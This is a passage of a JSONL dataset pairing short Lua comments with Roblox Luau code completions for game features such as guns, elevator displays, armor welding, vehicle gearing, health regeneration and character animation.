1\n\t\t\tfire()\n\t\t\twait(firerate)\n\t\telse\n\t\t\tReload()\n\t\tend\n\telse\n\t\twait()\n\tend\nend\n\n\n\n\n\n"} +{"prompt": "-- Move the arrow", "completion": "\nlocal arrowTweenInfo = TweenInfo.new(1, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, -1, true, 0)\nTweenService:Create(InteractionArrow, arrowTweenInfo, {Position = ARROW_DESTINATION}):Play()\n"} +{"prompt": "-- Class", "completion": "\n\nlocal RadialMenuClass = {}\nRadialMenuClass.__index = RadialMenuClass\nRadialMenuClass.__type = \"RadialMenu\"\n\nfunction RadialMenuClass:__tostring()\n\treturn RadialMenuClass.__type\nend\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = {\n\tName = \"json-array-decode\", \n\tAliases = {}, \n\tDescription = \"Decodes a JSON Array into a comma-separated list\", \n\tGroup = \"DefaultUtil\", \n\tArgs = { {\n\t\t\tType = \"string\", \n\t\t\tName = \"JSON\", \n\t\t\tDescription = \"The JSON array.\"\n\t\t} }\n};\nlocal l__HttpService__1 = game:GetService(\"HttpService\");\nfunction v1.Run(p1, p2)\n\tlocal v2 = l__HttpService__1:JSONDecode(p2);\n\tif type(v2) ~= \"table\" then\n\t\tv2 = { v2 };\n\tend;\n\treturn table.concat(v2, \",\");\nend;\nreturn v1;\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nElevator = This.Parent.Parent.Parent.Parent.Parent\nCustomLabel = require(This.Parent.Parent.Parent.Parent.Parent.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nElevator:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n if CustomText[tonumber(SF)] then\n SF = CustomText[tonumber(SF)]\n end\n SetDisplay(2,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\")) \n SetDisplay(3,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n if This.Display:FindFirstChild(\"Matrix\"..ID) and Characters[CHAR] ~= nil then\n for i,l in pairs(Characters[CHAR]) do \n for r=1,5 do \n This.Display[\"Matrix\"..ID][\"Row\"..i][\"D\"..r].Visible = (l:sub(r,r) == \"1\" and true or false)\n end\n end\n end\nend\n\nfor M = 1, Displays do\n for R = 1, 7 do\n for D = 1, 5 do\n This.Display[\"Matrix\"..M][\"Row\"..R][\"D\"..D].ImageColor3 = DisplayColor\n end\n end\nend\n"} +{"prompt": "-- how many bullets are fired at a time", "completion": "\nlocal BulletCount = 20"} +{"prompt": "--[[**\n\tReturns a t.union of each value in the table as a t.literal\n\n\t@param valueTable The table to get values from\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nfunction t.valueOf(valueTable)\n\tlocal values = {}\n\tlocal length = 0\n\tfor _, value in pairs(valueTable) do\n\t\tlength = length + 1\n\t\tvalues[length] = value\n\tend\n\n\treturn t.literal(table.unpack(values, 1, length))\nend\n"} +{"prompt": "--Find platform for the default image id", "completion": "\nif game:GetService(\"GuiService\"):IsTenFootInterface() then\n\tSwitchButtonType(\"Gamepad\")\nelseif game:GetService(\"UserInputService\").TouchEnabled then\n\tSwitchButtonType(\"Touch\")\nelse\n\tSwitchButtonType(\"Keyboard\")\nend\n"} +{"prompt": "--This script exists to let you add armor to mobs and also, to auto re-equip armor on respawn.", "completion": "\n\nfunction ArmorModule.RemoveArmor(character)\n\tlocal humanoid = character:FindFirstChild(\"Humanoid\") or character:FindFirstChild(\"Human\")\n\t--Remove old armour.\n\tif humanoid ~= nil then\n\t\tif character:FindFirstChild(\"Arm1\") ~= nil then\n\t\t\tcharacter:FindFirstChild(\"Arm1\"):Remove()\n\t\tend\n\t\tif character:FindFirstChild(\"Arm2\") ~= nil then\n\t\t\tcharacter:FindFirstChild(\"Arm2\"):Remove()\n\t\tend\t\n\t\tif character:FindFirstChild(\"Leg1\") ~= nil then\n\t\t\tcharacter:FindFirstChild(\"Leg1\"):Remove()\n\t\tend\n\t\tif character:FindFirstChild(\"Leg2\") ~= nil then\n\t\t\tcharacter:FindFirstChild(\"Leg2\"):Remove()\n\t\tend\t\n\t\tif character:FindFirstChild(\"Chest\") ~= nil then\n\t\t\tcharacter:FindFirstChild(\"Chest\"):Remove()\n\t\tend\t\n\telse\n\t\treturn false --Exits the function if it's nil. Prevents the function from breaking.\n\tend\t\nend\n\nfunction ArmorModule.EquipArmor(character, armor)\n\tlocal humanoid = character:FindFirstChild(\"Humanoid\") or character:FindFirstChild(\"Human\")\n\tif character ~= nil then\n\t\t--Remove old armour.\n\t\tif humanoid ~= nil then\n\t\t\tif character:FindFirstChild(\"Arm1\") ~= nil then\n\t\t\t\tcharacter:FindFirstChild(\"Arm1\"):Remove()\n\t\t\tend\n\t\t\tif character:FindFirstChild(\"Arm2\") ~= nil then\n\t\t\t\tcharacter:FindFirstChild(\"Arm2\"):Remove()\n\t\t\tend\t\n\t\t\tif character:FindFirstChild(\"Leg1\") ~= nil then\n\t\t\t\tcharacter:FindFirstChild(\"Leg1\"):Remove()\n\t\t\tend\n\t\t\tif character:FindFirstChild(\"Leg2\") ~= nil then\n\t\t\t\tcharacter:FindFirstChild(\"Leg2\"):Remove()\n\t\t\tend\t\n\t\t\tif character:FindFirstChild(\"Chest\") ~= nil then\n\t\t\t\tcharacter:FindFirstChild(\"Chest\"):Remove()\n\t\t\tend\t\n\t\tend\n\telse\n\t\treturn false --Exits the function if it's nil. Prevents the function from breaking.\n\tend\n\t--Arms\n\tif humanoid ~= nil and character:FindFirstChild(\"Arm1\") == nil then\n\t\tlocal g = game.ReplicatedStorage.ARMORS:FindFirstChild(armor).Arm1:Clone()\n\t\tg.Parent = character\n\t\tlocal C = g:GetChildren()\n\t\tfor i=1, #C do\n\t\t\tif C[i].ClassName == \"Part\" or C[i].ClassName == \"WedgePart\" or C[i].ClassName == \"UnionOperation\" then\n\t\t\t\tif C[i].Name == \"Middle\" then\n\t\t\t\t\tC[i].Transparency = 1\n\t\t\t\tend\n\t\t\t\tlocal W = Instance.new(\"Weld\")\n\t\t\t\tW.Part0 = g.Middle\n\t\t\t\tW.Part1 = C[i]\n\t\t\t\tlocal CJ = CFrame.new(g.Middle.Position)\n\t\t\t\tlocal C0 = g.Middle.CFrame:inverse()*CJ\n\t\t\t\tlocal C1 = C[i].CFrame:inverse()*CJ\n\t\t\t\tW.C0 = C0\n\t\t\t\tW.C1 = C1\n\t\t\t\tW.Parent = g.Middle\n\t\t\tend\n\t\t\t\tlocal Y = Instance.new(\"Weld\")\n\t\t\t\tY.Part0 = character[\"Left Arm\"]\n\t\t\t\tY.Part1 = g.Middle\n\t\t\t\tY.C0 = CFrame.new(0, 0, 0)\n\t\t\t\tY.Parent = Y.Part0\n\t\tend\n\n\t\tlocal h = g:GetChildren()\n\t\tfor i = 1, # h do\n\t\t\th[i].Anchored = false\n\t\t\th[i].CanCollide = false\n\t\tend\n\t\t\n\tend\n\n\tif humanoid ~= nil and character:FindFirstChild(\"Arm2\") == nil then\n\t\tlocal g = game.ReplicatedStorage.ARMORS:FindFirstChild(armor).Arm2:Clone()\n\t\tg.Parent = character\n\t\tlocal C = g:GetChildren()\n\t\tfor i=1, #C do\n\t\t\tif C[i].ClassName == \"Part\" or C[i].ClassName == \"WedgePart\" or C[i].ClassName == \"UnionOperation\" then\n\t\t\t\tif C[i].Name == \"Middle\" then\n\t\t\t\t\tC[i].Transparency = 1\n\t\t\t\tend\n\t\t\t\tlocal W = Instance.new(\"Weld\")\n\t\t\t\tW.Part0 = g.Middle\n\t\t\t\tW.Part1 = C[i]\n\t\t\t\tlocal CJ = CFrame.new(g.Middle.Position)\n\t\t\t\tlocal C0 = g.Middle.CFrame:inverse()*CJ\n\t\t\t\tlocal C1 = C[i].CFrame:inverse()*CJ\n\t\t\t\tW.C0 = C0\n\t\t\t\tW.C1 = C1\n\t\t\t\tW.Parent = g.Middle\n\t\t\tend\n\t\t\t\tlocal Y = Instance.new(\"Weld\")\n\t\t\t\tY.Part0 = character[\"Right Arm\"]\n\t\t\t\tY.Part1 = g.Middle\n\t\t\t\tY.C0 = CFrame.new(0, 0, 0)\n\t\t\t\tY.Parent = Y.Part0\n\t\tend\n\n\t\tlocal h = g:GetChildren()\n\t\tfor i = 1, # h do\n\t\t\th[i].Anchored = false\n\t\t\th[i].CanCollide = false\n\t\tend\n\t\t\n\tend\n\t--Legs\n\tif humanoid ~= nil and character:FindFirstChild(\"Leg1\") == nil then\n\t\tlocal g = game.ReplicatedStorage.ARMORS:FindFirstChild(armor).Leg1:Clone()\n\t\tg.Parent = character\n\t\tlocal C = g:GetChildren()\n\t\tfor i=1, #C do\n\t\t\tif C[i].ClassName == \"Part\" or C[i].ClassName == \"WedgePart\" or C[i].ClassName == \"UnionOperation\" then\n\t\t\t\tif C[i].Name == \"Middle\" then\n\t\t\t\t\tC[i].Transparency = 1\n\t\t\t\tend\n\t\t\t\tlocal W = Instance.new(\"Weld\")\n\t\t\t\tW.Part0 = g.Middle\n\t\t\t\tW.Part1 = C[i]\n\t\t\t\tlocal CJ = CFrame.new(g.Middle.Position)\n\t\t\t\tlocal C0 = g.Middle.CFrame:inverse()*CJ\n\t\t\t\tlocal C1 = C[i].CFrame:inverse()*CJ\n\t\t\t\tW.C0 = C0\n\t\t\t\tW.C1 = C1\n\t\t\t\tW.Parent = g.Middle\n\t\t\tend\n\t\t\t\tlocal Y = Instance.new(\"Weld\")\n\t\t\t\tY.Part0 = character[\"Left Leg\"]\n\t\t\t\tY.Part1 = g.Middle\n\t\t\t\tY.C0 = CFrame.new(0, 0, 0)\n\t\t\t\tY.Parent = Y.Part0\n\t\tend\n\n\t\tlocal h = g:GetChildren()\n\t\tfor i = 1, # h do\n\t\t\th[i].Anchored = false\n\t\t\th[i].CanCollide = false\n\t\tend\n\t\t\n\tend\n\n\tif humanoid ~= nil and character:FindFirstChild(\"Leg2\") == nil then\n\t\tlocal g = game.ReplicatedStorage.ARMORS:FindFirstChild(armor).Leg2:Clone()\n\t\tg.Parent = character\n\t\tlocal C = g:GetChildren()\n\t\tfor i=1, #C do\n\t\t\tif C[i].ClassName == \"Part\" or C[i].ClassName == \"WedgePart\" or C[i].ClassName == \"UnionOperation\" then\n\t\t\t\tif C[i].Name == \"Middle\" then\n\t\t\t\t\tC[i].Transparency = 1\n\t\t\t\tend\n\t\t\t\tlocal W = Instance.new(\"Weld\")\n\t\t\t\tW.Part0 = g.Middle\n\t\t\t\tW.Part1 = C[i]\n\t\t\t\tlocal CJ = CFrame.new(g.Middle.Position)\n\t\t\t\tlocal C0 = g.Middle.CFrame:inverse()*CJ\n\t\t\t\tlocal C1 = C[i].CFrame:inverse()*CJ\n\t\t\t\tW.C0 = C0\n\t\t\t\tW.C1 = C1\n\t\t\t\tW.Parent = g.Middle\n\t\t\tend\n\t\t\t\tlocal Y = Instance.new(\"Weld\")\n\t\t\t\tY.Part0 = character[\"Right Leg\"]\n\t\t\t\tY.Part1 = g.Middle\n\t\t\t\tY.C0 = CFrame.new(0, 0, 0)\n\t\t\t\tY.Parent = Y.Part0\n\t\tend\n\n\t\tlocal h = g:GetChildren()\n\t\tfor i = 1, # h do\n\t\t\th[i].Anchored = false\n\t\t\th[i].CanCollide = false\n\t\tend\n\t\t\n\tend\n\t--Torso\n\tif humanoid ~= nil and character:FindFirstChild(\"Chest\") == nil then\n\t\tlocal g = game.ReplicatedStorage.ARMORS:FindFirstChild(armor).Chest:Clone()\n\t\tg.Parent = character\n\t\tlocal C = g:GetChildren()\n\t\tfor i=1, #C do\n\t\t\tif C[i].ClassName == \"Part\" or C[i].ClassName == \"WedgePart\" or C[i].ClassName == \"UnionOperation\" then\n\t\t\t\tif C[i].Name == \"Middle\" then\n\t\t\t\t\tC[i].Transparency = 1\n\t\t\t\tend\n\t\t\t\tlocal W = Instance.new(\"Weld\")\n\t\t\t\tW.Part0 = g.Middle\n\t\t\t\tW.Part1 = C[i]\n\t\t\t\tlocal CJ = CFrame.new(g.Middle.Position)\n\t\t\t\tlocal C0 = g.Middle.CFrame:inverse()*CJ\n\t\t\t\tlocal C1 = C[i].CFrame:inverse()*CJ\n\t\t\t\tW.C0 = C0\n\t\t\t\tW.C1 = C1\n\t\t\t\tW.Parent = g.Middle\n\t\t\tend\n\t\t\t\tlocal Y = Instance.new(\"Weld\")\n\t\t\t\tY.Part0 = character.Torso\n\t\t\t\tY.Part1 = g.Middle\n\t\t\t\tY.C0 = CFrame.new(0, 0, 0)\n\t\t\t\tY.Parent = Y.Part0\n\t\tend\n\n\t\tlocal h = g:GetChildren()\n\t\tfor i = 1, # h do\n\t\t\th[i].Anchored = false\n\t\t\th[i].CanCollide = false\n\t\tend\n\t\t\n\tend\nend\n\nreturn ArmorModule\n"} +{"prompt": "------Body Variables------", "completion": "\nlocal myHuman = marine.Humanoid\nlocal myRoot = marine.HumanoidRootPart\nlocal myHead = marine.Head\n"} +{"prompt": "--> FUNCTIONS", "completion": "\nlocal function TransparencyHandler(Increment, Goal)\n\tfor count = 1, 20 do\n\t\tTextBox.TextTransparency += Increment\n\t\ttask.wait()\n\tend\n\tTextBox.TextTransparency = Goal\nend\n\nlocal function TextHandler()\n\tTransparencyHandler(-.05, 0)\n\tTransparencyHandler(.05, 1)\nend\n"} +{"prompt": "--[[\n\tCreate a new expectation\n]]", "completion": "\nfunction Expectation.new(value)\n\tlocal self = {\n\t\tvalue = value,\n\t\tsuccessCondition = true,\n\t\tcondition = false,\n\t\tmatchers = {},\n\t\t_boundMatchers = {},\n\t}\n\n\tsetmetatable(self, Expectation)\n\n\tself.a = bindSelf(self, self.a)\n\tself.an = self.a\n\tself.ok = bindSelf(self, self.ok)\n\tself.equal = bindSelf(self, self.equal)\n\tself.throw = bindSelf(self, self.throw)\n\tself.near = bindSelf(self, self.near)\n\n\treturn self\nend\n\nfunction Expectation.checkMatcherNameCollisions(name)\n\tif SELF_KEYS[name] or NEGATION_KEYS[name] or Expectation[name] then\n\t\treturn false\n\tend\n\n\treturn true\nend\n\nfunction Expectation:extend(matchers)\n\tself.matchers = matchers or {}\n\n\tfor name, implementation in pairs(self.matchers) do\n\t\tself._boundMatchers[name] = bindSelf(self, function(_self, ...)\n\t\t\tlocal result = implementation(self.value, ...)\n\t\t\tlocal pass = result.pass == self.successCondition\n\n\t\t\tassertLevel(pass, result.message, 3)\n\t\t\tself:_resetModifiers()\n\t\t\treturn self\n\t\tend)\n\tend\n\n\treturn self\nend\n\nfunction Expectation.__index(self, key)\n\t-- Keys that don't do anything except improve readability\n\tif SELF_KEYS[key] then\n\t\treturn self\n\tend\n\n\t-- Invert your assertion\n\tif NEGATION_KEYS[key] then\n\t\tlocal newExpectation = Expectation.new(self.value):extend(self.matchers)\n\t\tnewExpectation.successCondition = not self.successCondition\n\n\t\treturn newExpectation\n\tend\n\n\tif self._boundMatchers[key] then\n\t\treturn self._boundMatchers[key]\n\tend\n\n\t-- Fall back to methods provided by Expectation\n\treturn Expectation[key]\nend\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nLift = This.Parent.Parent.Parent\nCustomLabel = require(Lift.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nLift:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,7 do\t\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].BrickColor = (l:sub(r,r) == \"1\" and BrickColor.new(\"Institutional white\") or BrickColor.new(\"Really black\"))\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[**\n\tensures all keys in given table pass check\n\n\t@param check The function to use to check the keys\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.keys(check)\n\tassert(t.callback(check))\n\treturn function(value)\n\t\tlocal tableSuccess, tableErrMsg = t.table(value)\n\t\tif tableSuccess == false then\n\t\t\treturn false, tableErrMsg or \"\"\n\t\tend\n\n\t\tfor key in pairs(value) do\n\t\t\tlocal success, errMsg = check(key)\n\t\t\tif success == false then\n\t\t\t\treturn false, string.format(\"bad key %s:\\n\\t%s\", tostring(key), errMsg or \"\")\n\t\t\tend\n\t\tend\n\n\t\treturn true\n\tend\nend\n"} +{"prompt": "-- Colors", "completion": "\nlocal FriendlyReticleColor = Color3.new(0, 1, 0)\nlocal EnemyReticleColor\t= Color3.new(1, 0, 0)\nlocal NeutralReticleColor\t= Color3.new(1, 1, 1)\n\n\nlocal AmmoInClip = ClipSize\n\nlocal Tool = script.Parent\nlocal Handle = WaitForChild(Tool, 'Handle')\nlocal WeaponGui = nil\n\nlocal Reloading = false\nlocal IsShooting = false\n"} +{"prompt": "-- Called when character is added", "completion": "\nfunction BaseOcclusion:CharacterAdded(char: Model, player: Player)\nend\n"} +{"prompt": "----------------------------------------------------------------------\n--------------------[ GET WELD CFRAMES ]------------------------------\n----------------------------------------------------------------------", "completion": "\n\nfor _, v in pairs(Gun:GetChildren()) do\n\tif v:IsA(\"BasePart\") and v ~= Handle then\n\t\tif v:FindFirstChild(\"mainWeld\") then v.mainWeld:Destroy() end\n\t\tif (not v:FindFirstChild(\"weldCF\")) then\n\t\t\tlocal weldCF = Instance.new(\"CFrameValue\")\n\t\t\tweldCF.Name = \"weldCF\"\n\t\t\tweldCF.Value = Handle.CFrame:toObjectSpace(v.CFrame)\n\t\t\tweldCF.Parent = v\n\t\tend\n\t\tif string.sub(v.Name, 1, 3) == \"Mag\" then\n\t\t\tif (not v:FindFirstChild(\"magTrans\")) then\n\t\t\t\tlocal magTrans = Instance.new(\"NumberValue\")\n\t\t\t\tmagTrans.Name = \"magTrans\"\n\t\t\t\tmagTrans.Value = v.Transparency\n\t\t\t\tmagTrans.Parent = v\n\t\t\tend\n\t\tend\n\t\tv.Anchored = true\n\t\tv.CanCollide = false\n\tend\nend\nHandle.Anchored = false\nHandle.CanCollide = true\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\n\n\nwhile true do\n\twait()\n\tif Lift:WaitForChild(\"Floor\").Value == tonumber(This.Parent.Name) and Lift:WaitForChild(\"Velocity\").Value == 0 then\n\t if Lift:WaitForChild(\"Direction\").Value == 1 then\n\t\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(ActiveCol)\n\t\t\tThis.Display.ARW1.UP.Material = \"Neon\"\n\t\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(ActiveCol)\n\t\t\tThis.Display.ARW1.MID.Material = \"Neon\"\n\t\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.DOWN.Material = \"SmoothPlastic\"\n\t\t\twait(0.3)\n\t\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.UP.Material = \"SmoothPlastic\"\n\t\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.MID.Material = \"SmoothPlastic\"\n\t\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.DOWN.Material = \"SmoothPlastic\"\n\t\t\twait(0.3)\n\t elseif Lift:WaitForChild(\"Direction\").Value == -1 then\n\t\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.UP.Material = \"SmoothPlastic\"\n\t\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(ActiveCol)\n\t\t\tThis.Display.ARW1.MID.Material = \"Neon\"\n\t\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(ActiveCol)\n\t\t\tThis.Display.ARW1.DOWN.Material = \"Neon\"\n\t\t\twait(0.3)\n\t\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.UP.Material = \"SmoothPlastic\"\n\t\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.MID.Material = \"SmoothPlastic\"\n\t\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.DOWN.Material = \"SmoothPlastic\"\n\t\t\twait(0.3)\n\t\telse\n\t\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.UP.Material = \"SmoothPlastic\"\n\t\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.MID.Material = \"SmoothPlastic\"\n\t\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.DOWN.Material = \"SmoothPlastic\"\n\t end\n\telse\n\t if Lift:WaitForChild(\"Direction\").Value == 1 then\n\t\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(ActiveCol)\n\t\t\tThis.Display.ARW1.UP.Material = \"Neon\"\n\t\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(ActiveCol)\n\t\t\tThis.Display.ARW1.MID.Material = \"Neon\"\n\t\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.DOWN.Material = \"SmoothPlastic\"\n\t elseif Lift:WaitForChild(\"Direction\").Value == -1 then\n\t\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.UP.Material = \"SmoothPlastic\"\n\t\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(ActiveCol)\n\t\t\tThis.Display.ARW1.MID.Material = \"Neon\"\n\t\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(ActiveCol)\n\t\t\tThis.Display.ARW1.DOWN.Material = \"Neon\"\n\t\telse\n\t\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.UP.Material = \"SmoothPlastic\"\n\t\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.MID.Material = \"SmoothPlastic\"\n\t\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.DOWN.Material = \"SmoothPlastic\"\n\t end\n\tend\n\twait()\nend\n"} +{"prompt": "--[[\n\tGet the beforeAll hooks from the current level.\n]]", "completion": "\nfunction LifecycleHooks:getBeforeAllHooks()\n\treturn self._stack[#self._stack][TestEnum.NodeType.BeforeAll]\nend\n"} +{"prompt": "--\t====================\n--\tLIMITED CLIP\n--\tMake a gun has a limit clip\n--\t====================", "completion": "\n\n\t\tLimitedClipEnabled = false;\n\t\tClips = 10;\n\t\tMaxClip = 10; --Put \"math.huge\" to allow user to carry unlimited clip\n\t\t"} +{"prompt": "--Gear Ratios", "completion": "\n\tTune.FinalDrive\t\t= 2.93\t-- Gearing determines top speed and wheel torque\n\tTune.Ratios\t\t\t= {\t\t\t\t-- Higher ratio = more torque, Lower ratio = higher top speed\n\t\t--[[Reverse]]\t3.460\t\t,\t-- Copy and paste a ratio to add a gear\n\t\t--[[Neutral]]\t0\t\t\t,\t-- Ratios can also be deleted\n\t\t--[[ 1 ]]\t\t5.00\t\t,\t-- Reverse, Neutral, and 1st gear are required\n\t\t--[[ 2 ]]\t\t3.20\t,\n\t\t--[[ 3 ]]\t\t2.14\t\t,\n\t\t--[[ 4 ]]\t\t1.72\t\t,\n\t\t--[[ 5 ]]\t\t1.31\t\t,\n\t\t--[[ 6 ]]\t\t1.00\t\t,\n\t\t--[[ 7 ]]\t\t0.82\t\t,\n\t\t--[[ 8 ]]\t\t0.64\t\t,\n\t}\n\tTune.FDMult\t\t\t= 1.6\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n\t"} +{"prompt": "-- Oy i made this simple script for ur game change the animation ids. They are inside of the text buttons located in the animations frame", "completion": "\n"} +{"prompt": "-- regeneration", "completion": "\nfunction regenHealth()\n\tif Humanoid.Health == 0 then -- Ded\n\t\tregening = false \n\t\tz = Figure:GetChildren() \n\t\tfor i= 1, #z do \n\t\t\tif z[i].ClassName == \"Shirt\" or z[i].ClassName == \"Pants\" or z[i].ClassName == \"Body Colors\" then\n\t\t\t\tz[i]:Destroy()\t\t\n\t\t\telseif z[i].ClassName == \"Part\" then\n\t\t\t\tpart = z[i]\t\t\n\t\t\t\tpart.Transparency = 0.5\n\t\t\t\tpart.BrickColor = BrickColor.new(\"Deep orange\")\n\t\t\t\tpart.Reflectance = 0.2\n\t\t\t\tlit = Instance.new(\"PointLight\", part)\n\t\t\t\tlit.Color = Color3.new(1,187/255,28/255)\n\t\t\t\tbv = Instance.new(\"BodyVelocity\", part)\n\t\t\t\tbv.velocity = Vector3.new(math.random(-1,1),math.random(-1,1),math.random(-1,1)) \n\t\t\t\tpart.RotVelocity = Vector3.new(math.random(-1,1),math.random(-1,1),math.random(-1,1)) \n\t\t\telseif z[i].ClassName == \"Hat\" then\n\t\t\t\tpart = z[i].Handle\n\t\t\t\tpart.Mesh.TextureId = \"\" \n\t\t\t\tpart.Transparency = 0.5\n\t\t\t\tpart.Reflectance = 0.2\n\t\t\t\tpart.BrickColor = BrickColor.new(\"Deep orange\")\n\t\t\t\tlit = Instance.new(\"PointLight\", part)\n\t\t\t\tlit.Color = Color3.new(1,187/255,28/255)\n\t\t\t\tbv = Instance.new(\"BodyVelocity\", part)\n\t\t\t\tbv.velocity = Vector3.new(math.random(-1,1),math.random(-1,1),math.random(-1,1)) \n\t\t\t\tpart.RotVelocity = Vector3.new(math.random(-1,1),math.random(-1,1),math.random(-1,1)) \n\t\t\tend\n\t\tend \n\t\tfor l = 1, 10 do\n\t\t\twait(0.3)\n\t\t\t\tfor i= 1, #z do \n\t\t\t\tif z[i].ClassName == \"Part\" then\n\t\t\t\t\tz[i].Transparency = z[i].Transparency + 0.08\n\t\t\t\telseif z[i].ClassName == \"Hat\" then\n\t\t\t\t\tz[i].Handle.Transparency = z[i].Handle.Transparency + 0.08\n\t\t\t\t\t \n\t\t\t\tend\n\t\t\tend \n\t\tend\n\t\tFigure:Destroy() \n\tend\n\tif regening then return end\n\tregening = true\n\t\n\twhile Humanoid.Health < Humanoid.MaxHealth do\n\t\tlocal s = wait(1)\n\t\tlocal health = Humanoid.Health\n\t\tif health > 0 and health < Humanoid.MaxHealth then\n\t\t\tlocal newHealthDelta = 0.01 * s * Humanoid.MaxHealth\n\t\t\thealth = health + newHealthDelta\n\t\t\tHumanoid.Health = math.min(health,Humanoid.MaxHealth)\n\t\tend\n\t\tif Humanoid.Health == 0 then\n\t\t\tgame.Debris:AddItem(Figure, 6) \n\t\tend\n\t\t\n\tend\n\t\n\tif Humanoid.Health > Humanoid.MaxHealth then\n\t\tHumanoid.Health = Humanoid.MaxHealth\n\tend\n\t\n\t\n\tregening = false\nend\nlocal ourtool = nil\nfunction Check()\n tool = nil\n\t\tz = char:GetChildren() \n\t\tfor i= 1, #z do \n\t\tif z[i].ClassName == \"Tool\" then\n\t\ttool = z[i]\n\t\tend\n\t\tend \n\t\tif tool == nil then\n\t\t\tif ourtool ~= nil then\n\t\t\tourtool:Destroy()\n\t\t\tourtool = nil\n\t\t\tend \n\t\telse\n\t\t\tourtool = tool:clone()\n\t\t\tourtool.Parent = Figure\n\t\t\tHumanoid:EquipTool(ourtool)\n\t\tend\nend\nCheck()\nchar.ChildAdded:connect(Check)\nchar.ChildRemoved:connect(Check)\nHumanoid.HealthChanged:connect(regenHealth)\n \n"} +{"prompt": "------------------\n------------------", "completion": "\n\n\nfunction waitForChild(parent, childName)\n\twhile true do\n\t\tlocal child = parent:findFirstChild(childName)\n\t\tif child then\n\t\t\treturn child\n\t\tend\n\t\tparent.ChildAdded:wait()\n\tend\nend\n\nlocal Figure = script.Parent\nlocal Torso = waitForChild(Figure, \"Torso\")\nlocal RightShoulder = waitForChild(Torso, \"Right Shoulder\")\nlocal LeftShoulder = waitForChild(Torso, \"Left Shoulder\")\nlocal RightHip = waitForChild(Torso, \"Right Hip\")\nlocal LeftHip = waitForChild(Torso, \"Left Hip\")\nlocal Neck = waitForChild(Torso, \"Neck\")\nlocal Humanoid = waitForChild(Figure, \"Humanoid\")\nlocal pose = \"Standing\"\n\nlocal toolAnim = \"None\"\nlocal toolAnimTime = 0\n\nlocal isSeated = false\n\n\nfunction onRunning(speed)\n\tif isSeated then return end\n\n\tif speed>0 then\n\t\tpose = \"Running\"\n\telse\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\nend\n\nfunction onJumping()\n\tisSeated = false\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing()\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tpose 